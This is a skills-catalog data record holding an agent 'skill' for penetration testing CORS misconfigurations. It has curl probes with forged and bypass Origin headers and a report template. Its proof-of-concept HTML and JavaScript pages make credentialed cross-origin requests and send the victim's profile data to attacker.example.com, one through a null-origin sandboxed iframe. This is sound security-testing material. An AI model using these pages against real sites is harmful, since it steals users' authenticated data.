[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M76PCS2EMHXB4X2M9C7AF5R7":3,"skill-same:01M76PCS2EMHXB4X2M9C7AF5R7":72},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":36,"commitSha":37,"skillDirectory":5,"forksCount":14,"repositoryHtmlUrl":38,"repositoryHomepageUrl":6,"ownerHtmlUrl":39,"ownerBlogUrl":40,"ownerDescription":6,"updatedAt":41,"install":42,"resources":55},"01M76PCS2EMHXB4X2M9C7AF5R7","testing-cors-misconfiguration",null,"Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.","SamuelChien\u002Fmega-skills-collection","SamuelChien","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F4652114?v=4","01M74KK34WVHA0P5ZYSJRDDFMG","Samuel Chien","01M74KK35FQN1N9VZ9EPTH3P2S",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-cors-misconfiguration\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-cors-misconfiguration\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: testing-cors-misconfiguration\ndescription: Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [penetration-testing, cors, web-security, owasp, same-origin-policy, burpsuite]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Testing CORS Misconfiguration\n\n## When to Use\n\n- During authorized penetration tests when assessing API endpoints for cross-origin access controls\n- When testing single-page applications that make cross-origin API requests\n- For evaluating whether sensitive data can be exfiltrated from a victim's browser session\n- When assessing microservice architectures with multiple domains sharing data\n- During security audits of applications using CORS headers for cross-domain communication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying Origin headers\n- **Browser with DevTools**: For observing CORS behavior in real browser context\n- **Attacker web server**: For hosting CORS exploitation PoC pages\n- **curl**: For manual CORS header testing\n- **Python HTTP server**: For hosting exploit pages locally\n\n## Workflow\n\n### Step 1: Identify CORS Configuration on Target Endpoints\n\nCheck all API endpoints for CORS response headers.\n\n```bash\n# Test with a foreign Origin header\ncurl -s -I \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check for CORS headers in response:\n# Access-Control-Allow-Origin: https:\u002F\u002Fevil.example.com  (BAD: reflects any origin)\n# Access-Control-Allow-Origin: *  (BAD if with credentials)\n# Access-Control-Allow-Credentials: true  (allows cookies)\n# Access-Control-Allow-Methods: GET, POST, PUT, DELETE\n# Access-Control-Allow-Headers: Authorization, Content-Type\n# Access-Control-Expose-Headers: X-Custom-Header\n\n# Test multiple endpoints\nfor endpoint in \u002Fapi\u002Fuser\u002Fprofile \u002Fapi\u002Fuser\u002Fsettings \u002Fapi\u002Ftransactions \\\n  \u002Fapi\u002Fadmin\u002Fusers \u002Fapi\u002Faccount\u002Fbalance; do\n  echo \"=== $endpoint ===\"\n  curl -s -I \\\n    -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n    \"https:\u002F\u002Fapi.target.example.com$endpoint\" | \\\n    grep -i \"access-control\"\n  echo\ndone\n```\n\n### Step 2: Test Origin Reflection and Validation Bypass\n\nDetermine how the server validates the Origin header.\n\n```bash\n# Test 1: Arbitrary origin reflection\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 2: Null origin\ncurl -s -I -H \"Origin: null\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 3: Subdomain matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.target.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 4: Prefix\u002Fsuffix matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\ncurl -s -I -H \"Origin: https:\u002F\u002Feviltarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 5: Protocol downgrade\ncurl -s -I -H \"Origin: http:\u002F\u002Ftarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 6: Special characters in origin\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com%60.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 7: Wildcard with credentials check\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fpublic\" | grep -iE \"access-control-allow-(origin|credentials)\"\n# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure\n```\n\n### Step 3: Test Preflight Request Handling\n\nAssess how the server handles OPTIONS preflight requests.\n\n```bash\n# Send preflight request\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: Authorization, Content-Type\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check:\n# Access-Control-Allow-Methods: should only list needed methods\n# Access-Control-Allow-Headers: should only list needed headers\n# Access-Control-Max-Age: preflight cache duration (long = risky)\n\n# Test if dangerous methods are allowed\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: DELETE\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-allow-methods\"\n\n# Test if preflight is cached too long\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-max-age\"\n# max-age > 86400 (1 day) allows prolonged abuse after policy change\n```\n\n### Step 4: Craft CORS Exploitation Proof of Concept\n\nBuild an HTML page that exploits the CORS misconfiguration to steal data.\n\n```html\n\u003C!-- cors-exploit.html - Host on attacker server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CORS PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>CORS Exploitation Proof of Concept\u003C\u002Fh1>\n\u003Cdiv id=\"result\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F Exploit: Read victim's profile data cross-origin\nvar xhr = new XMLHttpRequest();\nxhr.onreadystatechange = function() {\n  if (xhr.readyState === 4) {\n    \u002F\u002F Data successfully stolen cross-origin\n    document.getElementById('result').innerText = xhr.responseText;\n\n    \u002F\u002F Exfiltrate to attacker server\n    var exfil = new XMLHttpRequest();\n    exfil.open('POST', 'https:\u002F\u002Fattacker.example.com\u002Fcollect', true);\n    exfil.setRequestHeader('Content-Type', 'application\u002Fjson');\n    exfil.send(xhr.responseText);\n  }\n};\nxhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', true);\nxhr.withCredentials = true;  \u002F\u002F Include victim's cookies\nxhr.send();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```html\n\u003C!-- Exploit using fetch API -->\n\u003Cscript>\nfetch('https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', {\n  credentials: 'include'\n})\n.then(response => response.json())\n.then(data => {\n  \u002F\u002F Steal sensitive data\n  fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n    method: 'POST',\n    body: JSON.stringify(data)\n  });\n  console.log('Stolen data:', data);\n});\n\u003C\u002Fscript>\n```\n\n### Step 5: Exploit Null Origin Vulnerability\n\nIf `Origin: null` is allowed, exploit via sandboxed iframes.\n\n```html\n\u003C!-- null-origin-exploit.html -->\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Null Origin CORS Exploit\u003C\u002Fh1>\n\u003C!--\n  Sandboxed iframe sends requests with Origin: null\n  If server reflects Access-Control-Allow-Origin: null with credentials,\n  data can be exfiltrated\n-->\n\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\"\n  srcdoc=\"\n  \u003Cscript>\n    var xhr = new XMLHttpRequest();\n    xhr.onload = function() {\n      \u002F\u002F Send stolen data to parent or attacker server\n      fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n        method: 'POST',\n        body: xhr.responseText\n      });\n    };\n    xhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile');\n    xhr.withCredentials = true;\n    xhr.send();\n  \u003C\u002Fscript>\n\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- Alternative: data: URI for null origin -->\n\u003C!-- Open in browser: data:text\u002Fhtml,\u003Cscript>...\u003C\u002Fscript> -->\n```\n\n### Step 6: Test for Internal Network Access via CORS\n\nCheck if CORS allows access from internal origins that could be leveraged via XSS.\n\n```bash\n# Test internal\u002Fdevelopment origins\nINTERNAL_ORIGINS=(\n  \"http:\u002F\u002Flocalhost\"\n  \"http:\u002F\u002Flocalhost:3000\"\n  \"http:\u002F\u002Flocalhost:8080\"\n  \"http:\u002F\u002F127.0.0.1\"\n  \"http:\u002F\u002F192.168.1.1\"\n  \"http:\u002F\u002F10.0.0.1\"\n  \"https:\u002F\u002Fstaging.target.example.com\"\n  \"https:\u002F\u002Fdev.target.example.com\"\n  \"https:\u002F\u002Ftest.target.example.com\"\n)\n\nfor origin in \"${INTERNAL_ORIGINS[@]}\"; do\n  echo -n \"$origin: \"\n  curl -s -I -H \"Origin: $origin\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n    grep -i \"access-control-allow-origin\" | tr -d '\\r'\n  echo\ndone\n\n# If internal origins are allowed and have XSS:\n# 1. Find XSS on http:\u002F\u002Fsubdomain.target.example.com\n# 2. Use XSS to make CORS request to api.target.example.com\n# 3. Exfiltrate data via the XSS + CORS chain\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Same-Origin Policy** | Browser security model preventing scripts from one origin accessing data from another |\n| **CORS** | Mechanism allowing servers to specify which origins can access their resources |\n| **Origin Reflection** | Server mirrors the request Origin header in the ACAO response header (dangerous) |\n| **Null Origin** | Special origin value from sandboxed iframes, data URIs, and redirects |\n| **Preflight Request** | OPTIONS request sent before certain cross-origin requests to check permissions |\n| **Credentialed Requests** | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |\n| **Wildcard CORS** | `Access-Control-Allow-Origin: *` allows any origin but prohibits credentials |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Intercepting requests and modifying Origin headers |\n| **CORScanner** | Automated CORS misconfiguration scanner (`pip install corscanner`) |\n| **cors-scanner** | Node.js-based CORS testing tool |\n| **Browser DevTools** | Monitoring CORS errors and network requests in real browser context |\n| **Python http.server** | Hosting CORS exploit PoC pages |\n| **OWASP ZAP** | Automated CORS misconfiguration detection |\n\n## Common Scenarios\n\n### Scenario 1: Full Origin Reflection\nThe API reflects any Origin header in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`. Any website can read authenticated API responses, stealing user data.\n\n### Scenario 2: Null Origin Allowed\nThe server allows `Origin: null` with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.\n\n### Scenario 3: Subdomain Wildcard Trust\nThe CORS policy allows `*.target.example.com`. An attacker finds XSS on `forum.target.example.com` and uses it to make cross-origin requests to `api.target.example.com`, stealing user data through the trusted subdomain.\n\n### Scenario 4: Regex Bypass on Origin Validation\nThe server uses regex `target\\.example\\.com` to validate origins, but fails to anchor the regex. `attackertarget.example.com` matches and is allowed access.\n\n## Output Format\n\n```\n## CORS Misconfiguration Finding\n\n**Vulnerability**: CORS Origin Reflection with Credentials\n**Severity**: High (CVSS 8.1)\n**Location**: All \u002Fapi\u002F* endpoints on api.target.example.com\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### CORS Configuration Observed\n| Header | Value |\n|--------|-------|\n| Access-Control-Allow-Origin | [Reflects request Origin] |\n| Access-Control-Allow-Credentials | true |\n| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |\n| Access-Control-Expose-Headers | X-Auth-Token |\n\n### Origin Validation Results\n| Origin Tested | Reflected | Credentials |\n|---------------|-----------|-------------|\n| https:\u002F\u002Fevil.com | Yes | Yes |\n| null | Yes | Yes |\n| http:\u002F\u002Flocalhost | Yes | Yes |\n| https:\u002F\u002Fevil.target.example.com | Yes | Yes |\n\n### Impact\n- Any website can read authenticated API responses in victim's browser\n- User profile data (email, phone, address) exfiltrable\n- Session tokens exposed via X-Auth-Token header\n- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)\n\n### Recommendation\n1. Implement a strict allowlist of trusted origins\n2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin\n3. Do not allow Origin: null with credentials\n4. Validate origins with exact string matching, not regex substring matching\n5. Set Access-Control-Max-Age to a reasonable value (600 seconds)\n```\n","# Testing CORS Misconfiguration\n\n## When to Use\n\n- During authorized penetration tests when assessing API endpoints for cross-origin access controls\n- When testing single-page applications that make cross-origin API requests\n- For evaluating whether sensitive data can be exfiltrated from a victim's browser session\n- When assessing microservice architectures with multiple domains sharing data\n- During security audits of applications using CORS headers for cross-domain communication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying Origin headers\n- **Browser with DevTools**: For observing CORS behavior in real browser context\n- **Attacker web server**: For hosting CORS exploitation PoC pages\n- **curl**: For manual CORS header testing\n- **Python HTTP server**: For hosting exploit pages locally\n\n## Workflow\n\n### Step 1: Identify CORS Configuration on Target Endpoints\n\nCheck all API endpoints for CORS response headers.\n\n```bash\n# Test with a foreign Origin header\ncurl -s -I \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check for CORS headers in response:\n# Access-Control-Allow-Origin: https:\u002F\u002Fevil.example.com  (BAD: reflects any origin)\n# Access-Control-Allow-Origin: *  (BAD if with credentials)\n# Access-Control-Allow-Credentials: true  (allows cookies)\n# Access-Control-Allow-Methods: GET, POST, PUT, DELETE\n# Access-Control-Allow-Headers: Authorization, Content-Type\n# Access-Control-Expose-Headers: X-Custom-Header\n\n# Test multiple endpoints\nfor endpoint in \u002Fapi\u002Fuser\u002Fprofile \u002Fapi\u002Fuser\u002Fsettings \u002Fapi\u002Ftransactions \\\n  \u002Fapi\u002Fadmin\u002Fusers \u002Fapi\u002Faccount\u002Fbalance; do\n  echo \"=== $endpoint ===\"\n  curl -s -I \\\n    -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n    \"https:\u002F\u002Fapi.target.example.com$endpoint\" | \\\n    grep -i \"access-control\"\n  echo\ndone\n```\n\n### Step 2: Test Origin Reflection and Validation Bypass\n\nDetermine how the server validates the Origin header.\n\n```bash\n# Test 1: Arbitrary origin reflection\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 2: Null origin\ncurl -s -I -H \"Origin: null\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 3: Subdomain matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.target.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 4: Prefix\u002Fsuffix matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\ncurl -s -I -H \"Origin: https:\u002F\u002Feviltarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 5: Protocol downgrade\ncurl -s -I -H \"Origin: http:\u002F\u002Ftarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 6: Special characters in origin\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com%60.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 7: Wildcard with credentials check\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fpublic\" | grep -iE \"access-control-allow-(origin|credentials)\"\n# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure\n```\n\n### Step 3: Test Preflight Request Handling\n\nAssess how the server handles OPTIONS preflight requests.\n\n```bash\n# Send preflight request\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: Authorization, Content-Type\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check:\n# Access-Control-Allow-Methods: should only list needed methods\n# Access-Control-Allow-Headers: should only list needed headers\n# Access-Control-Max-Age: preflight cache duration (long = risky)\n\n# Test if dangerous methods are allowed\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: DELETE\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-allow-methods\"\n\n# Test if preflight is cached too long\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-max-age\"\n# max-age > 86400 (1 day) allows prolonged abuse after policy change\n```\n\n### Step 4: Craft CORS Exploitation Proof of Concept\n\nBuild an HTML page that exploits the CORS misconfiguration to steal data.\n\n```html\n\u003C!-- cors-exploit.html - Host on attacker server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CORS PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>CORS Exploitation Proof of Concept\u003C\u002Fh1>\n\u003Cdiv id=\"result\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F Exploit: Read victim's profile data cross-origin\nvar xhr = new XMLHttpRequest();\nxhr.onreadystatechange = function() {\n  if (xhr.readyState === 4) {\n    \u002F\u002F Data successfully stolen cross-origin\n    document.getElementById('result').innerText = xhr.responseText;\n\n    \u002F\u002F Exfiltrate to attacker server\n    var exfil = new XMLHttpRequest();\n    exfil.open('POST', 'https:\u002F\u002Fattacker.example.com\u002Fcollect', true);\n    exfil.setRequestHeader('Content-Type', 'application\u002Fjson');\n    exfil.send(xhr.responseText);\n  }\n};\nxhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', true);\nxhr.withCredentials = true;  \u002F\u002F Include victim's cookies\nxhr.send();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```html\n\u003C!-- Exploit using fetch API -->\n\u003Cscript>\nfetch('https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', {\n  credentials: 'include'\n})\n.then(response => response.json())\n.then(data => {\n  \u002F\u002F Steal sensitive data\n  fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n    method: 'POST',\n    body: JSON.stringify(data)\n  });\n  console.log('Stolen data:', data);\n});\n\u003C\u002Fscript>\n```\n\n### Step 5: Exploit Null Origin Vulnerability\n\nIf `Origin: null` is allowed, exploit via sandboxed iframes.\n\n```html\n\u003C!-- null-origin-exploit.html -->\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Null Origin CORS Exploit\u003C\u002Fh1>\n\u003C!--\n  Sandboxed iframe sends requests with Origin: null\n  If server reflects Access-Control-Allow-Origin: null with credentials,\n  data can be exfiltrated\n-->\n\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\"\n  srcdoc=\"\n  \u003Cscript>\n    var xhr = new XMLHttpRequest();\n    xhr.onload = function() {\n      \u002F\u002F Send stolen data to parent or attacker server\n      fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n        method: 'POST',\n        body: xhr.responseText\n      });\n    };\n    xhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile');\n    xhr.withCredentials = true;\n    xhr.send();\n  \u003C\u002Fscript>\n\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- Alternative: data: URI for null origin -->\n\u003C!-- Open in browser: data:text\u002Fhtml,\u003Cscript>...\u003C\u002Fscript> -->\n```\n\n### Step 6: Test for Internal Network Access via CORS\n\nCheck if CORS allows access from internal origins that could be leveraged via XSS.\n\n```bash\n# Test internal\u002Fdevelopment origins\nINTERNAL_ORIGINS=(\n  \"http:\u002F\u002Flocalhost\"\n  \"http:\u002F\u002Flocalhost:3000\"\n  \"http:\u002F\u002Flocalhost:8080\"\n  \"http:\u002F\u002F127.0.0.1\"\n  \"http:\u002F\u002F192.168.1.1\"\n  \"http:\u002F\u002F10.0.0.1\"\n  \"https:\u002F\u002Fstaging.target.example.com\"\n  \"https:\u002F\u002Fdev.target.example.com\"\n  \"https:\u002F\u002Ftest.target.example.com\"\n)\n\nfor origin in \"${INTERNAL_ORIGINS[@]}\"; do\n  echo -n \"$origin: \"\n  curl -s -I -H \"Origin: $origin\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n    grep -i \"access-control-allow-origin\" | tr -d '\\r'\n  echo\ndone\n\n# If internal origins are allowed and have XSS:\n# 1. Find XSS on http:\u002F\u002Fsubdomain.target.example.com\n# 2. Use XSS to make CORS request to api.target.example.com\n# 3. Exfiltrate data via the XSS + CORS chain\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Same-Origin Policy** | Browser security model preventing scripts from one origin accessing data from another |\n| **CORS** | Mechanism allowing servers to specify which origins can access their resources |\n| **Origin Reflection** | Server mirrors the request Origin header in the ACAO response header (dangerous) |\n| **Null Origin** | Special origin value from sandboxed iframes, data URIs, and redirects |\n| **Preflight Request** | OPTIONS request sent before certain cross-origin requests to check permissions |\n| **Credentialed Requests** | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |\n| **Wildcard CORS** | `Access-Control-Allow-Origin: *` allows any origin but prohibits credentials |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Intercepting requests and modifying Origin headers |\n| **CORScanner** | Automated CORS misconfiguration scanner (`pip install corscanner`) |\n| **cors-scanner** | Node.js-based CORS testing tool |\n| **Browser DevTools** | Monitoring CORS errors and network requests in real browser context |\n| **Python http.server** | Hosting CORS exploit PoC pages |\n| **OWASP ZAP** | Automated CORS misconfiguration detection |\n\n## Common Scenarios\n\n### Scenario 1: Full Origin Reflection\nThe API reflects any Origin header in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`. Any website can read authenticated API responses, stealing user data.\n\n### Scenario 2: Null Origin Allowed\nThe server allows `Origin: null` with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.\n\n### Scenario 3: Subdomain Wildcard Trust\nThe CORS policy allows `*.target.example.com`. An attacker finds XSS on `forum.target.example.com` and uses it to make cross-origin requests to `api.target.example.com`, stealing user data through the trusted subdomain.\n\n### Scenario 4: Regex Bypass on Origin Validation\nThe server uses regex `target\\.example\\.com` to validate origins, but fails to anchor the regex. `attackertarget.example.com` matches and is allowed access.\n\n## Output Format\n\n```\n## CORS Misconfiguration Finding\n\n**Vulnerability**: CORS Origin Reflection with Credentials\n**Severity**: High (CVSS 8.1)\n**Location**: All \u002Fapi\u002F* endpoints on api.target.example.com\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### CORS Configuration Observed\n| Header | Value |\n|--------|-------|\n| Access-Control-Allow-Origin | [Reflects request Origin] |\n| Access-Control-Allow-Credentials | true |\n| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |\n| Access-Control-Expose-Headers | X-Auth-Token |\n\n### Origin Validation Results\n| Origin Tested | Reflected | Credentials |\n|---------------|-----------|-------------|\n| https:\u002F\u002Fevil.com | Yes | Yes |\n| null | Yes | Yes |\n| http:\u002F\u002Flocalhost | Yes | Yes |\n| https:\u002F\u002Fevil.target.example.com | Yes | Yes |\n\n### Impact\n- Any website can read authenticated API responses in victim's browser\n- User profile data (email, phone, address) exfiltrable\n- Session tokens exposed via X-Auth-Token header\n- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)\n\n### Recommendation\n1. Implement a strict allowlist of trusted origins\n2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin\n3. Do not allow Origin: null with credentials\n4. Validate origins with exact string matching, not regex substring matching\n5. Set Access-Control-Max-Age to a reasonable value (600 seconds)\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"subdomain":35,"description":7},[26,27,28,29,30,31],"penetration-testing","cors","web-security","owasp","same-origin-policy","burpsuite","mahipal","cybersecurity","1.0","web-application-security","main","c2b1fdccc779e99ac814e55fb69ca8d71215dd0f","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection","https:\u002F\u002Fgithub.com\u002FSamuelChien","http:\u002F\u002Fsamuelchien.com\u002F","2026-05-26 08:27:14",{"source":8,"skillName":5,"commands":43,"prompt":53,"zipAvailable":54},[44,47,50],{"tool":45,"command":46},"npx","npx skills add SamuelChien\u002Fmega-skills-collection --skill testing-cors-misconfiguration",{"tool":48,"command":49},"bunx","bunx skills add SamuelChien\u002Fmega-skills-collection --skill testing-cors-misconfiguration",{"tool":51,"command":52},"pnpm","pnpm dlx skills add SamuelChien\u002Fmega-skills-collection --skill testing-cors-misconfiguration","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-cors-misconfiguration\u002FSKILL.md",true,[56,60,66],{"path":57,"resourceType":57,"resourceTypeDesc":58,"sizeBytes":59,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":61,"resourceType":62,"resourceTypeDesc":63,"sizeBytes":64,"sourceHtmlUrl":65},"references\u002Fapi-reference.md","REFERENCE","参考文档",2188,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-cors-misconfiguration\u002Freferences\u002Fapi-reference.md",{"path":67,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":70,"sourceHtmlUrl":71},"scripts\u002Fagent.py","SCRIPT","脚本",8804,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-cors-misconfiguration\u002Fscripts\u002Fagent.py",[73,81,88,95,102,109],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":78,"categories":79,"keywords":80,"publishedAt":20},"01M76R4WZQZAXGGXMQCA0FZ716","zustand-store-ts","Create Zustand stores with TypeScript, subscribeWithSelector middleware, and proper state\u002Faction separation. Use when building React state management, creating global stores, or implementing reactive state patterns with 